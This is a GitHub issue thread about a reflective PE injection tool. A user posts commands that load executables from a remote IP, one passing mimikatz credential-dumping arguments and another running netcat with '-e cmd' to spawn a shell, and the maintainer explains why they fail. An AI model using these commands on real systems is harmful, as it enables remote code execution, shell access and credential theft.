Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use remote loading to execute net.exe user,Example does not work #2

Open
ciacybers opened this issue Mar 2, 2024 · 3 comments
Open

Comments

@ciacybers
Copy link

SharpReflectivePEInjection.exe -u http://10.10.10.10/exe.exe [Optional: -Args "sekurlsa::ekeys exit"] -ComputerName server.local

@cpu0x00
Copy link
Owner

cpu0x00 commented Mar 2, 2024

yeaaah , i found out that nearly every windows release has a different net.exe version so the you're trying to load will probably be different than the one should be executed on the target

awesome how microsoft managed to make simple net.exe really missed up like this LOL

@ciacybers
Copy link
Author

But how should I bring commands when using other .net tools, such as nc.exe
SharpReflectivePEInjection.exe -u http://10.10.10.10/nc.exe -Args "127.0.0.1 8888 -e cmd" This command does not seem to work. Is there any way to solve it?

@cpu0x00
Copy link
Owner

cpu0x00 commented Mar 4, 2024

i noticed you said .Net tools , i don't think NetCat is .Net and i don't know if there is a .net variation of it , however the project is not intended to load .Net tooling it focuses on unmanaged binaries like C++/C binaries , also NetCat is long living process in the sense that it keeps listening for connections and the tool reflectively loads and executes a binary and then waits to return output from it or closes if there is no output or errors , tbh i didn't build it with a consideration for a long living process as generally only execute and retrieve is needed , something like mimikatz, but please share the error you recieved when trying to run nc.exe with the tool to see what happens when it executed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants